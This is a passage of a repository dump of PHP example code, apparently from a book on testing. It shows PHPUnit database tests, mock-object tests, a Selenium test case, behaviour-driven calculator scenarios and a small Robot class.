$table1 = $this->createMySQLXMLDataSet('/path/to/table1.xml'); 24 | $table3 = $this->createMySQLXMLDataSet('/path/to/table3.xml'); 25 | 26 | $composite = new PHPUnit_Extensions_Database_DataSet_CompositeDataSet(); 27 | $composite->addDataSet($table1); 28 | $composite->addDataSet($table3); 29 | 30 | return $composite; 31 | */ 32 | 33 | return $this->createFlatXMLDataSet(dirname(__FILE__) . '/_files/seed.xml'); 34 | } 35 | 36 | protected function setUp() 37 | { 38 | $this->dao = new My_Dao; 39 | // any other required setup – connecting to the database, etc. 40 | } 41 | 42 | public function testDoStuff() 43 | { 44 | $this->dao->doStuff(); 45 | 46 | // asserting table row count 47 | $expected_row_count = 2; 48 | $actual_row_count = $this->getConnection()->getRowCount('table_name'); 49 | $this->assertEquals($expected_row_count, $actual_row_count); 50 | 51 | // asserting table / query result set equality 52 | $expected_table = $this->createMySQLXMLDataSet('/path/to/expected_table.xml') 53 | ->getTable('table_name'); 54 | $actual_table = $this->getConnection()->createQueryTable('table_name', 55 | 'SELECT * FROM table_name WHERE ...'); 56 | $this->assertTablesEqual($expected_table, $actual_table); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /chapter_07/tests/DatabaseTester.php: -------------------------------------------------------------------------------- 1 | createDefaultDBConnection($pdo, 'database_name'); 11 | } 12 | 13 | /** 14 | * @return PHPUnit_Extensions_Database_DataSet_IDataSet 15 | */ 16 | public function getDataSet() 17 | { 18 | return $this->createFlatXMLDataSet(dirname(__FILE__) . '/_files/seed.xml'); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /chapter_07/tests/FooSeleniumTestCase.php: -------------------------------------------------------------------------------- 1 | databaseTester = new My_DatabaseTester(); 14 | $this->databaseTester->onSetUp(); 15 | 16 | $this->open('/foo'); 17 | // ... 18 | } 19 | 20 | protected function tearDown() 21 | { 22 | parent::tearDown(); 23 | $this->databaseTester->onTearDown(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /chapter_07/tests/FooTest.php: -------------------------------------------------------------------------------- 1 | controller = new My_Controller_Foo(); 9 | } 10 | 11 | public function testActionGet() 12 | { 13 | $fooId = '1'; 14 | $fooData = array('bar' => 'baz'); 15 | $response = 'bar = baz'; 16 | 17 | $fooModel = $this->getMock('My_Model_Foo'); 18 | $fooModel->expects($this->once()) 19 | ->method('get') 20 | ->with($fooId) 21 | ->will($this->returnValue($fooData)); 22 | $this->controller->setFooModel($fooModel); 23 | 24 | $view = $this->getMock('My_View'); 25 | $view->expects($this->once()) 26 | ->method('assign') 27 | ->with($fooData); 28 | $view->expects($this->once()) 29 | ->method('render') 30 | ->with('path/to/template') 31 | ->will($this->returnValue($response)); 32 | $this->controller->setView($view); 33 | 34 | $params = array('fooId' => $fooId); 35 | $this->assertEquals($response, $this->controller->action($params)); 36 | } 37 | } 38 | ?> -------------------------------------------------------------------------------- /chapter_07/tests/TestCase.php: -------------------------------------------------------------------------------- 1 | loadHTML($html); 8 | $xpath = new DOMXPath($doc); 9 | return ($xpath->query($expr)->length > 0); 10 | } 11 | } 12 | ?> -------------------------------------------------------------------------------- /chapter_07/tests/TotallerBehavioralTest.php: -------------------------------------------------------------------------------- 1 | getMock('My_Calculator'); 13 | $world['calculator'] 14 | ->expects($this->any()) 15 | ->method('add') 16 | ->will($this->returnCallback(array($this, 'calculatorAdd'))); 17 | $world['totaller'] = new My_Totaller(); 18 | $world['totaller']->setCalculator($world['calculator']); 19 | break; 20 | default: 21 | return $this->notImplemented($action); 22 | } 23 | } 24 | 25 | public function calculatorAdd($a, $b) 26 | { 27 | static $sums = array( 28 | '0+2' => 2, 29 | '0+-1' => -1, 30 | '2+3' => 5, 31 | '2+0' => 2, 32 | '-1+1' => 0, 33 | ); 34 | 35 | $eqn = “$a+$b”; 36 | if (isset($sums[$eqn])) 37 | { 38 | return $sums[$eqn]; 39 | } 40 | 41 | $this->fail(“No known output for calculator inputs: $a, $b”); 42 | } 43 | 44 | public function runWhen(&$world, $action, $arguments) 45 | { 46 | switch ($action) 47 | { 48 | case 'Totaller receives operand': 49 | $world['totaller']->addOperand($arguments[0]); 50 | break; 51 | default: 52 | return $this->notImplemented($action); 53 | } 54 | } 55 | 56 | public function runThen(&$world, $action, $arguments) 57 | { 58 | switch ($action) 59 | { 60 | case 'Total should be': 61 | $this->assertEquals($arguments[0], $world['totaller']->calculateTotal()); 62 | break; 63 | default: 64 | return $this->notImplemented($action); 65 | } 66 | } 67 | 68 | /** 69 | * @scenario 70 | */ 71 | public function sumOfTwoPositiveNumbersIsPositive() 72 | { 73 | $this 74 | ->given('New totaller') 75 | ->when('Totaller receives operand', 2) 76 | ->and('Totaller receives operand', 3) 77 | ->then('Total should be', 5); 78 | } 79 | 80 | /** 81 | * @scenario 82 | */ 83 | public function sumOfAPositiveNumberAndZeroIsPositive() 84 | { 85 | $this 86 | ->given('New totaller') 87 | ->when('Totaller receives operand', 2) 88 | ->and('Totaller receives operand', 0) 89 | ->then('Total should be', 2); 90 | } 91 | 92 | /** 93 | * @scenario 94 | */ 95 | public function sumOfEqualPositiveAndNegativeNumbersIsZero() 96 | { 97 | $this 98 | ->given('New totaller') 99 | ->when('Totaller receives operand', -1) 100 | ->and('Totaller receives operand', 1) 101 | ->then('Total should be', 0); 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /chapter_07/tests/TotallerTest.php: -------------------------------------------------------------------------------- 1 | calculator = $this->getMock('My_Calculator'); 13 | $this->totaller = new My_Totaller; 14 | $this->totaller->setCalculator($this->calculator); 15 | } 16 | 17 | public function testCalculateTotal() 18 | { 19 | $this->calculator 20 | ->expects($this->at(0)) 21 | ->method('add') 22 | ->with(0, 1) 23 | ->will($this->returnValue(1)); 24 | $this->calculator 25 | ->expects($this->at(1)) 26 | ->method('add') 27 | ->with(1, 2) 28 | ->will($this->returnValue(3)); 29 | $this->calculator 30 | ->expects($this->at(2)) 31 | ->method('add') 32 | ->with(3, 3) 33 | ->will($this->returnValue(6)); 34 | $this->totaller->addOperand(1); 35 | $this->totaller->addOperand(2); 36 | $this->totaller->addOperand(3); 37 | $this->assertEquals(6, $this->totaller->calculateTotal()); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /chapter_07/tests/phpunit.xml: -------------------------------------------------------------------------------- 1 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /chapter_08/Robot.php: -------------------------------------------------------------------------------- 1 | x += $xmove; 15 | } 16 | if($ymove != 0) { 17 | $this->y += $ymove; 18 | } 19 | return true; 20 | } 21 | 22 | } 23 | ?> --------------------------------------------------------------------------------